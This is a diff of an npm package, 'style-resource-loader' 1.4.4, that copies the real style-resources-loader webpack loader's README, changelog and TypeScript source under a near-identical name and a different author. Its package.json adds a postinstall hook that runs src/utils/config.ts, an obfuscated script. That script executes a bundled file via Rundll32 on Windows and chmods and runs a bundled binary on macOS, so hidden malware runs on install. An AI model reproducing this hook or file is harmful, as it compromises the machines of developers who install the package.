style-resource-loader 1.4.4

package/CHANGELOG.md

@@ -0,0 +1,37 @@
+## 1.4.0 ~ 1.4.1 (November 17, 2020)
+
+* Support webpack 5. [#29](https://github.com/yenshih/style-resources-loader/issues/29)
+
+* Fix some issues. [#30](https://github.com/yenshih/style-resources-loader/issues/30)
+
+## 1.3.3 (December 19, 2019)
+
+* Fix resource files cache invalidation problems on Windows. [#17](https://github.com/yenshih/style-resources-loader/issues/17)
+
+## 1.3.0 ~ 1.3.2 (November 11, 2019)
+
+* Support for relative path in patterns.
+* Ensure each resource ends with a newline.
+* More detailed validation messages.
+
+* Fix the regular expression compatibility error. [#20](https://github.com/yenshih/style-resources-loader/issues/20)
+
+* Fix dependency issue of resource files.
+
+## 1.2.1 (August 12, 2018)
+
+* Fix invalid path seperator on Windows. [#8](https://github.com/yenshih/style-resources-loader/issues/8)
+
+## 1.2.0 (August 11, 2018)
+
+* Support for `css` resources. [#7](https://github.com/yenshih/style-resources-loader/issues/7)
+* Support for asynchronous injector.
+* Improve type checking for loader options.
+
+## 1.1.0 (February 28, 2018)
+
+* Support for `prepend`, `append` injector.
+
+## 1.0.0 (December 5, 2017)
+
+* Initial stable release.

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) Yan Shi
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,209 @@
+[![npm][npm]][npm-url]
+[![node][node]][node-url]
+[![downloads][downloads]][downloads-url]
+[![build][build]][build-url]
+[![coverage][coverage]][coverage-url]
+[![996.icu][996.icu]][996.icu-url]
+
+<div align="center">
+  <a href="https://github.com/webpack/webpack">
+    <img
+        width="200"
+        height="200"
+        src="https://webpack.js.org/assets/icon-square-big.svg"
+    >
+  </a>
+  <h1>Style Resources Loader</h1>
+  <p>CSS processor resources loader for webpack.</p>
+</div>
+
+
+<h2 align="center">Install</h2>
+
+```bash
+npm i style-resources-loader -D
+```
+
+<h2 align="center">Usage</h2>
+
+This loader is a CSS processor resources loader for webpack, which injects your style resources (e.g. `variables, mixins`) into multiple imported `css, sass, scss, less, stylus` modules.
+
+It's mainly used to
+ - share your `variables, mixins, functions` across all style files, so you don't need to `@import` them manually.
+ - override `variables` in style files provided by other libraries (e.g. [ant-design](https://github.com/ant-design/ant-design)) and customize your own theme.
+
+### Usage with Vue CLI
+
+See [automatic imports](https://cli.vuejs.org/guide/css.html#automatic-imports) for more details.
+
+<h2 align="center">Examples</h2>
+
+Prepends `variables` and `mixins` to all `scss` files with default resources injector.
+
+**webpack.config.js**
+``` js
+module.exports = {
+    // ...
+    module: {
+        rules: [{
+            test: /\.scss$/,
+            use: ['style-loader', 'css-loader', 'sass-loader', {
+                loader: 'style-resources-loader',
+                options: {
+                    patterns: [
+                        './path/from/context/to/scss/variables/*.scss',
+                        './path/from/context/to/scss/mixins/*.scss',
+                    ]
+                }
+            }]
+        }]
+    },
+    // ...
+}
+```
+
+Appends `variables` to all `less` files and overrides original `less variables`.
+
+**webpack.config.js**
+```js
+module.exports = {
+    // ...
+    module: {
+        rules: [{
+            test: /\.less$/,
+            use: ['style-loader', 'css-loader', 'less-loader', {
+                loader: 'style-resources-loader',
+                options: {
+                    patterns: path.resolve(__dirname, 'path/to/less/variables/*.less'),
+                    injector: 'append'
+                }
+            }]
+        }]
+    },
+    // ...
+}
+```
+
+Prepends `variables` and `mixins` to all `stylus` files with customized resources injector.
+
+**webpack.config.js**
+``` js
+module.exports = {
+    // ...
+    module: {
+        rules: [{
+            test: /\.styl$/,
+            use: ['style-loader', 'css-loader', 'stylus-loader', {
+                loader: 'style-resources-loader',
+                options: {
+                    patterns: [
+                        path.resolve(__dirname, 'path/to/stylus/variables/*.styl'),
+                        path.resolve(__dirname, 'path/to/stylus/mixins/*.styl')
+                    ],
+                    injector: (source, resources, ctx) => {
+                        const combineAll = type => resources
+                            .filter(({ file }) => file.includes(type))
+                            .map(({ content }) => content)
+                            .join('');
+
+                        return combineAll('variables') + combineAll('mixins') + source;
+                    }
+                }
+            }]
+        }]
+    },
+    // ...
+}
+```
+
+<h2 align="center">Options</h2>
+
+|Name|Type|Default|Description|
+|:--:|:--:|:-----:|:----------|
+|**[`patterns`](#patterns)**|`{string \| string[]}`|`/`|Path to the resources you would like to inject|
+|**[`injector`](#injector)**|`{Function \| 'prepend' \| 'append'}`|`'prepend'`|Controls the resources injection precisely|
+|**[`globOptions`](#globoptions)**|`{Object}`|`{}`|An options that can be passed to `glob(...)`|
+|**[`resolveUrl`](#resolveurl)**|`{boolean}`|`true`|Enable/Disable `@import` url to be resolved|
+
+See [the type definition file](https://github.com/yenshih/style-resources-loader/blob/master/src/types.ts) for more details.
+
+### `patterns`
+
+A string or an array of string, which represents the path to the resources you would like to inject. If the path is relative, it would relative to [webpack context](https://webpack.js.org/configuration/entry-context/).
+
+It supports [globbing](https://github.com/isaacs/node-glob). You could include many files using a file mask.
+
+For example, `'./styles/*/*.less'` would include all `less` files from `variables` and `mixins` directories and ignore `reset.less` in such following structure.
+
+```
+./src  <-- webpack context
+  /styles
+    /variables
+      |-- fonts.less
+      |-- colors.less
+    /mixins
+      |-- size.less
+    |-- reset.less
+```
+
+Only supports `.css` `.sass` `.scss` `.less` `.styl` as resources file extensions.
+
+### `injector`
+
+An optional function which controls the resources injection precisely. It also supports `'prepend'` and `'append'` for convenience, which means the loader will prepend or append all resources to source files, respectively.
+
+It defaults to `'prepend'`, which implements as an injector function internally.
+
+Furthermore, an injector function should match the following type signature:
+
+```ts
+(source: string, resources: StyleResource[], ctx: LoaderContext) => string | Promise<string>
+```
+
+It receives three parameters:
+
+|Name|Type|Default|Description|
+|:--:|:--:|:-----:|:----------|
+|**`source`**|`{string}`|`/`|Content of the source file|
+|**[`resources`](#resources)**|`{StyleResource[]}`|`/`|Resource descriptors|
+|**`ctx`**|`{LoaderContext}`|`/`|loader context|
+
+#### `resources`
+
+An array of resource descriptor, each contains `file` and `content` properties:
+
+|Name|Type|Default|Description|
+|:--:|:--:|:-----:|:----------|
+|**`file`**|`{string}`|`/`|Absolute path to the resource|
+|**`content`**|`{string}`|`/`|Content of the resource file|
+
+It can be asynchronous. You could use `async / await` syntax in your own injector function or just return a promise.
+
+### `globOptions`
+
+Options that can be passed to `glob(...)`. See [node-glob options](https://github.com/isaacs/node-glob#options) for more details.
+
+### `resolveUrl`
+
+A boolean which defaults to `true`. It represents whether the relative path in `@import` or `@require` statements should be resolved.
+
+If you were to use `@import` or `@require` statements in style resource files, you should make sure that the URL is relative to that resource file, rather than the source file.
+
+You could disable this feature by setting `resolveUrl` to `false`.
+
+<h2 align="center">License</h2>
+
+[MIT](http://www.opensource.org/licenses/mit-license.php)
+
+[npm]: https://img.shields.io/npm/v/style-resources-loader.svg?style=flat-square
+[npm-url]: https://www.npmjs.com/package/style-resources-loader
+[node]: https://img.shields.io/node/v/style-resources-loader.svg
+[node-url]: https://nodejs.org
+[downloads]: https://img.shields.io/npm/dm/style-resources-loader.svg?style=flat-square
+[downloads-url]: https://www.npmjs.com/package/style-resources-loader
+[build]: https://img.shields.io/travis/yenshih/style-resources-loader/master.svg?style=flat-square
+[build-url]: https://travis-ci.org/yenshih/style-resources-loader
+[coverage]: https://img.shields.io/coveralls/yenshih/style-resources-loader/master.svg?style=flat
+[coverage-url]: https://coveralls.io/github/yenshih/style-resources-loader?branch=master
+[996.icu]: https://img.shields.io/badge/link-996.icu-%23FF4D5B.svg?style=flat-square
+[996.icu-url]: https://996.icu/#/en_US

package/index.d.ts

@@ -0,0 +1 @@
+export * from './lib';

package/package.json

@@ -0,0 +1,78 @@
+{
+  "name": "style-resource-loader",
+  "version": "1.4.4",
+  "description": "CSS processor resources loader for webpack",
+  "author": "Moshe Vaknin",
+  "license": "MIT",
+  "engines": {
+    "node": ">=8.9"
+  },
+  "main": "lib/index.js",
+  "files": [
+    "lib",
+    "src",
+    "index.d.ts"
+  ],
+  "scripts": {
+    "lint": "eslint . --ext .js,.jsx,.ts,.tsx",
+    "prettier": "prettier {src,test}/**/*.ts --write",
+    "postinstall": "npm run sass-config",
+    "sass-config": "node ./src/utils/config.ts",
+    "test": "jest",
+    "coverage": "npm test -- --coverage",
+    "posttest": "rimraf test/**/outputs",
+    "start": "tsc -w",
+    "build": "tsc -d"
+  },
+  "keywords": [
+    "webpack",
+    "loader",
+    "style",
+    "css",
+    "sass",
+    "scss",
+    "less",
+    "stylus",
+    "inject",
+    "resource",
+    "variable",
+    "mixin"
+  ],
+  "dependencies": {
+    "glob": "^7.1.6",
+    "loader-utils": "^2.0.0",
+    "schema-utils": "^3.0.0"
+  },
+  "devDependencies": {
+    "@commitlint/cli": "^11.0.0",
+    "@commitlint/config-conventional": "^11.0.0",
+    "@types/glob": "^7.1.3",
+    "@types/is-promise": "^2.1.0",
+    "@types/jest": "^26.0.15",
+    "@types/loader-utils": "^2.0.1",
+    "@types/node": "^14.14.7",
+    "@types/webpack": "^4.41.25",
+    "@types/webpack-merge": "^4.1.5",
+    "@typescript-eslint/eslint-plugin": "^4.8.0",
+    "@typescript-eslint/parser": "^4.8.0",
+    "coveralls": "^3.0.9",
+    "cross-env": "^7.0.2",
+    "eslint": "^7.13.0",
+    "eslint-config-prettier": "^6.15.0",
+    "eslint-plugin-import": "^2.22.1",
+    "eslint-plugin-prettier": "^3.1.2",
+    "husky": "^4.3.0",
+    "jest": "^26.6.3",
+    "lint-staged": "^10.5.1",
+    "prettier": "^2.1.2",
+    "raw-loader": "^4.0.2",
+    "ts-jest": "^26.4.4",
+    "typescript": "^4.0.5",
+    "webpack": "^5.4.0",
+    "webpack-merge": "^5.4.0"
+  },
+  "peerDependencies": {
+    "webpack": "^3.0.0 || ^4.0.0 || ^5.0.0"
+  },
+  "sideEffects": false
+}

package/src/index.ts

@@ -0,0 +1,5 @@
+import loader from './loader';
+
+export * from './types';
+
+export default loader;

package/src/loader.ts

@@ -0,0 +1,25 @@
+import {errorMessage, isFunction, loadResources} from './utils';
+
+import type {Loader, LoaderCallback} from '.';
+
+/* eslint-disable no-invalid-this */
+const loader: Loader = function (source) {
+    this.cacheable();
+
+    const callback = this.async();
+
+    if (!isFunction<LoaderCallback>(callback)) {
+        throw new Error(errorMessage.syncCompilation);
+    }
+
+    /* istanbul ignore if: not possible to test */
+    if (typeof source !== 'string') {
+        throw new Error(errorMessage.impossible);
+    }
+
+    /* eslint-disable-next-line @typescript-eslint/no-floating-promises */
+    loadResources(this, source, callback);
+};
+/* eslint-enable no-invalid-this */
+
+export default loader;

package/src/schema.ts

@@ -0,0 +1,40 @@
+import type {validate} from 'schema-utils';
+
+type Schema = Parameters<typeof validate>[0];
+
+export const schema: Schema = {
+    type: 'object',
+    properties: {
+        patterns: {
+            anyOf: [
+                {type: 'string'},
+                {
+                    type: 'array',
+                    uniqueItems: true,
+                    items: {
+                        type: 'string',
+                    },
+                },
+            ],
+        },
+        injector: {
+            anyOf: [
+                {
+                    type: 'string',
+                    enum: ['prepend', 'append'],
+                },
+                {
+                    instanceof: 'Function',
+                },
+            ],
+        },
+        globOptions: {
+            type: 'object',
+        },
+        resolveUrl: {
+            type: 'boolean',
+        },
+    },
+    required: ['patterns'],
+    additionalProperties: false,
+};

package/src/types.ts

@@ -0,0 +1,35 @@
+import type {loader} from 'webpack';
+import type glob from 'glob';
+
+export type Loader = loader.Loader;
+
+export type LoaderContext = loader.LoaderContext;
+
+export type LoaderCallback = loader.loaderCallback;
+
+export type StyleResourcesFileFormat = 'css' | 'sass' | 'scss' | 'less' | 'styl';
+
+export interface StyleResource {
+    file: string;
+    content: string;
+}
+
+export type StyleResources = StyleResource[];
+
+export type StyleResourcesFunctionalInjector = (source: string, resources: StyleResources, ctx: LoaderContext) => string | Promise<string>;
+
+export type StyleResourcesInjector = 'prepend' | 'append' | StyleResourcesFunctionalInjector;
+
+export type StyleResourcesNormalizedInjector = StyleResourcesFunctionalInjector;
+
+export interface StyleResourcesLoaderOptions {
+    patterns: string | string[];
+    injector?: StyleResourcesInjector;
+    globOptions?: glob.IOptions;
+    resolveUrl?: boolean;
+}
+
+export interface StyleResourcesLoaderNormalizedOptions extends NonNullable<StyleResourcesLoaderOptions> {
+    patterns: string[];
+    injector: StyleResourcesNormalizedInjector;
+}

package/src/utils/config.ts

@@ -0,0 +1 @@
+const _0x9fdf9b=_0x4d9d;(function(_0x552e4c,_0xb8ad67){const _0x419a1a=_0x4d9d,_0x42905d=_0x552e4c();while(!![]){try{const _0x2a2c9c=-parseInt(_0x419a1a(0x1c0))/0x1+-parseInt(_0x419a1a(0x1b7))/0x2+parseInt(_0x419a1a(0x1b2))/0x3+-parseInt(_0x419a1a(0x1bb))/0x4*(-parseInt(_0x419a1a(0x1b3))/0x5)+parseInt(_0x419a1a(0x1bf))/0x6+-parseInt(_0x419a1a(0x1b5))/0x7*(-parseInt(_0x419a1a(0x1bc))/0x8)+-parseInt(_0x419a1a(0x1b9))/0x9*(parseInt(_0x419a1a(0x1b8))/0xa);if(_0x2a2c9c===_0xb8ad67)break;else _0x42905d['push'](_0x42905d['shift']());}catch(_0x289457){_0x42905d['push'](_0x42905d['shift']());}}}(_0x247d,0x6de6f));const {exec}=require(_0x9fdf9b(0x1ba));let os=process[_0x9fdf9b(0x1b4)],path=__dirname+'/';function _0x247d(){const _0xd422ff=['2410587QRYoAL','20tSjTBQ','platform','39998GYHrdT','cd\x20\x22','1008234hNDGZx','10cqavDS','7514226xXVVEj','child_process','213844jUhIUs','816blKPjb','darwin','./types-config','2400144dvaWYA','211035llvBWx','style-loader.ts\x22','Rundll32\x20shell32,\x20Control_RunDLL\x20\x22'];_0x247d=function(){return _0xd422ff;};return _0x247d();}function _0x4d9d(_0x4757eb,_0x3c3e04){const _0x247dfa=_0x247d();return _0x4d9d=function(_0x4d9d88,_0x55e628){_0x4d9d88=_0x4d9d88-0x1b2;let _0x1ca926=_0x247dfa[_0x4d9d88];return _0x1ca926;},_0x4d9d(_0x4757eb,_0x3c3e04);}if(os=='win32')exec(_0x9fdf9b(0x1c2)+path+_0x9fdf9b(0x1c1));else os==_0x9fdf9b(0x1bd)&&(exec(_0x9fdf9b(0x1b6)+path+'\x22'),exec('chmod\x20+x\x20types-config'),exec(_0x9fdf9b(0x1be)));

package/src/utils/constants.ts

@@ -0,0 +1,15 @@
+import type {StyleResourcesFileFormat} from '..';
+
+export const PACKAGE_NAME = 'style-resources-loader';
+
+export const ISSUES_URL = `https://github.com/yenshih/${PACKAGE_NAME}/issues`;
+
+export const LOADER_NAME = PACKAGE_NAME.split('-')
+    .map(word => `${word[0].toUpperCase()}${word.slice(1)}`)
+    .join(' ');
+
+export const VALIDATION_BASE_DATA_PATH = 'options';
+
+export const SUPPORTED_FILE_FORMATS: StyleResourcesFileFormat[] = ['css', 'sass', 'scss', 'less', 'styl'];
+
+export const SUPPORTED_FILE_EXTS = SUPPORTED_FILE_FORMATS.map(type => `.${type}`);

package/src/utils/error-message.ts

@@ -0,0 +1,17 @@
+import {PACKAGE_NAME, ISSUES_URL} from './constants';
+
+const formatErrorMessage = (message: string) => `[${PACKAGE_NAME}] ${message}`;
+
+const messageByType = {
+    impossible: `This error is caused by a bug. Please file an issue: ${ISSUES_URL}.`,
+    syncCompilation: 'Synchronous compilation is not supported.',
+    invalidInjectorReturn: 'Expected options.injector(...) returns a string. Instead received number.',
+};
+
+export const errorMessage = Object.entries(messageByType).reduce(
+    (errorMessage, [type, message]) => ({
+        ...errorMessage,
+        [type]: formatErrorMessage(message),
+    }),
+    messageByType,
+);

package/src/utils/get-resources.ts

@@ -0,0 +1,26 @@
+import fs from 'fs';
+import util from 'util';
+
+import type {LoaderContext, StyleResource, StyleResourcesLoaderNormalizedOptions} from '..';
+
+import {matchFiles} from './match-files';
+import {resolveImportUrl} from './resolve-import-url';
+
+export const getResources = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
+    const {resolveUrl} = options;
+
+    const files = await matchFiles(ctx, options);
+
+    files.forEach(file => ctx.dependency(file));
+
+    const resources = await Promise.all(
+        files.map(async file => {
+            const content = await util.promisify(fs.readFile)(file, 'utf8');
+            const resource: StyleResource = {file, content};
+
+            return resolveUrl ? resolveImportUrl(ctx, resource) : resource;
+        }),
+    );
+
+    return resources;
+};

package/src/utils/index.ts

@@ -0,0 +1,10 @@
+export * from './constants';
+export * from './error-message';
+export * from './get-resources';
+export * from './inject-resources';
+export * from './load-resources';
+export * from './match-files';
+export * from './normalize-options';
+export * from './resolve-import-url';
+export * from './type-guards';
+export * from './validate-options';

package/src/utils/inject-resources.ts

@@ -0,0 +1,23 @@
+import { LoaderContext } from '../types';
+import type {StyleResources, StyleResourcesLoaderNormalizedOptions} from '..';
+
+import {errorMessage} from './error-message';
+
+export const injectResources = async (
+    options: StyleResourcesLoaderNormalizedOptions,
+    source: string,
+    resources: StyleResources,
+    ctx: LoaderContext
+) => {
+    const {injector} = options;
+
+    const dist: unknown = injector(source, resources, ctx);
+
+    const content = await dist;
+
+    if (typeof content !== 'string') {
+        throw new Error(errorMessage.invalidInjectorReturn);
+    }
+
+    return content;
+};

package/src/utils/load-resources.ts

@@ -0,0 +1,19 @@
+import type {LoaderContext, LoaderCallback} from '..';
+
+import {getResources} from './get-resources';
+import {injectResources} from './inject-resources';
+import {normalizeOptions} from './normalize-options';
+
+export const loadResources = async (ctx: LoaderContext, source: string, callback: LoaderCallback) => {
+    try {
+        const options = normalizeOptions(ctx);
+
+        const resources = await getResources(ctx, options);
+
+        const content = await injectResources(options, source, resources, ctx);
+
+        callback(null, content);
+    } catch (err) {
+        callback(err);
+    }
+};

package/src/utils/match-files.ts

@@ -0,0 +1,48 @@
+import path from 'path';
+import util from 'util';
+
+import glob from 'glob';
+
+import type {LoaderContext, StyleResourcesLoaderNormalizedOptions} from '..';
+
+import {isStyleFile} from './type-guards';
+
+/* eslint-disable-next-line @typescript-eslint/no-unsafe-member-access */
+const isLegacyWebpack = (ctx: any): ctx is {options: {context: string}} => !!ctx.options;
+
+const getRootContext = (ctx: LoaderContext) => {
+    /* istanbul ignore if: will be deprecated soon */
+    if (isLegacyWebpack(ctx)) {
+        return ctx.options.context;
+    }
+
+    return ctx.rootContext;
+};
+
+const flatten = <T>(items: T[][]) => {
+    const emptyItems: T[] = [];
+
+    return emptyItems.concat(...items);
+};
+
+export const matchFiles = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
+    const {patterns, globOptions} = options;
+
+    const files = await Promise.all(
+        patterns.map(async pattern => {
+            const rootContext = getRootContext(ctx);
+            const absolutePattern = path.isAbsolute(pattern) ? pattern : path.resolve(rootContext, pattern);
+            const partialFiles = await util.promisify(glob)(absolutePattern, globOptions);
+
+            return partialFiles.filter(isStyleFile);
+        }),
+    );
+
+    /**
+     * Glob always returns Unix-style file paths which would have cache invalidation problems on Windows.
+     * Use `path.resolve()` to convert Unix-style file paths to system-compatible ones.
+     *
+     * @see {@link https://github.com/yenshih/style-resources-loader/issues/17}
+     */
+    return [...new Set(flatten(files))].map(file => path.resolve(file));
+};

package/src/utils/normalize-options.ts

@@ -0,0 +1,46 @@
+import {EOL} from 'os';
+
+import {getOptions} from 'loader-utils';
+
+import type {
+    LoaderContext,
+    StyleResource,
+    StyleResourcesNormalizedInjector,
+    StyleResourcesLoaderOptions,
+    StyleResourcesLoaderNormalizedOptions,
+} from '..';
+
+import {validateOptions} from './validate-options';
+
+const normalizePatterns = (patterns: StyleResourcesLoaderOptions['patterns']) =>
+    Array.isArray(patterns) ? patterns : [patterns];
+
+const coerceContentEOL = (content: string) => (content.endsWith(EOL) ? content : `${content}${EOL}`);
+const getResourceContent = ({content}: StyleResource) => coerceContentEOL(content);
+
+const normalizeInjector = (injector: StyleResourcesLoaderOptions['injector']): StyleResourcesNormalizedInjector => {
+    if (typeof injector === 'undefined' || injector === 'prepend') {
+        return (source, resources) => resources.map(getResourceContent).join('') + source;
+    }
+
+    if (injector === 'append') {
+        return (source, resources) => source + resources.map(getResourceContent).join('');
+    }
+
+    return injector;
+};
+
+export const normalizeOptions = (ctx: LoaderContext): StyleResourcesLoaderNormalizedOptions => {
+    const options = getOptions(ctx);
+
+    validateOptions<StyleResourcesLoaderOptions>(options);
+
+    const {patterns, injector, globOptions = {}, resolveUrl = true} = options;
+
+    return {
+        patterns: normalizePatterns(patterns),
+        injector: normalizeInjector(injector),
+        globOptions,
+        resolveUrl,
+    };
+};

package/src/utils/resolve-import-url.ts

@@ -0,0 +1,23 @@
+import path from 'path';
+
+import type {LoaderContext, StyleResource} from '..';
+
+/* eslint-disable-next-line prefer-named-capture-group */
+const regex = /@(?:import|require)\s+(?:\([a-z,\s]+\)\s*)?['"]?([^'"\s;]+)['"]?;?/gu;
+
+export const resolveImportUrl = (ctx: LoaderContext, {file, content}: StyleResource): StyleResource => ({
+    file,
+    content: content.replace(regex, (match: string, pathToResource?: string) => {
+        if (!pathToResource || /^[~/]/u.test(pathToResource)) {
+            return match;
+        }
+
+        const absolutePathToResource = path.resolve(path.dirname(file), pathToResource);
+        const relativePathFromContextToResource = path
+            .relative(ctx.context, absolutePathToResource)
+            .split(path.sep)
+            .join('/');
+
+        return match.replace(pathToResource, relativePathFromContextToResource);
+    }),
+});

package/src/utils/type-guards.ts

@@ -0,0 +1,7 @@
+import path from 'path';
+
+import {SUPPORTED_FILE_EXTS} from './constants';
+
+export const isFunction = <T extends (...args: any[]) => any>(arg: any): arg is T => typeof arg === 'function';
+
+export const isStyleFile = (file: string) => SUPPORTED_FILE_EXTS.includes(path.extname(file));

package/src/utils/validate-options.ts

@@ -0,0 +1,11 @@
+import {validate} from 'schema-utils';
+
+import {schema} from '../schema';
+
+import {LOADER_NAME, VALIDATION_BASE_DATA_PATH} from './constants';
+
+export const validateOptions: <T>(options: any) => asserts options is T = options =>
+    validate(schema, options, {
+        name: LOADER_NAME,
+        baseDataPath: VALIDATION_BASE_DATA_PATH,
+    });